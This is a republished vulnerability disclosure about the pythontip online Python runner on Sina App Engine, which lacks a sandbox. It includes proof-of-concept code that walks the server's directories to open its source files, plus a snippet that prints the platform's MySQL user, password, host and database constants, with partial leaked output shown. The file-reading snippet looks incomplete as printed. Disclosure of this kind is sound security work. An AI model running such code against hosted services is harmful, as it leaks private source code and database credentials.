Sina saepythontip execution without using the sandbox mechanism causes code Leakage

Source: Internet
Author: User

In the online execution of pythontip, you can obtain the program source code and program configuration. pythontip online programming does not shield many functions in the OS module, nor prevent open from reading file content, leading to source code leakage; pythontip online programming does not use an isolated python program. As a result, you can use the sae module to read program configurations. Vulnerability proof: Run at http://pythontip.sinaapp.com/coding/run:

import osdef get_filepaths(directory):    file_paths = []  # List which will store all of the full filepaths.    # Walk the tree.    for root, directories, files in os.walk(directory):        for filename in files:            # Join the two strings in order to form the full filepath.            filepath = os.path.join(root, filename)            file_paths.append(filepath)  # Add it to the list.    return file_paths  # Self-explanatory.for p in get_filepaths("."):    if p[-2:] == "py":        f = open(p)        print "=========[" + p + "]========="        f.close()        del f

 

Output all the python script content in the current directory. Part of the screenshot is as follows:
=========[./manage.py]=========#!/usr/bin/env pythonimport osimport sysif __name__ == "__main__":    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings")    from django.core.management import execute_from_command_line

 

(Omitted later) run again
import saeprint sae.const.MYSQL_USERprint sae.const.MYSQL_PASSprint sae.const.MYSQL_HOSTprint sae.const.MYSQL_DBprint sae.const.MYSQL_PORT

 

Output: (apparently the connection information. Although sae prevents external connections to the database, it may be able to read the database through online programming)
y0k0xwjnljwlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wyw.rdc.sae.sina.com.cnapp_yunmei3307

 

Solution:Pythontip has actually prevented some function execution (for example, execlp iN OS is not available, and fork is not). We recommend that you enhance the protection and use virtualization technology to run python programs.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.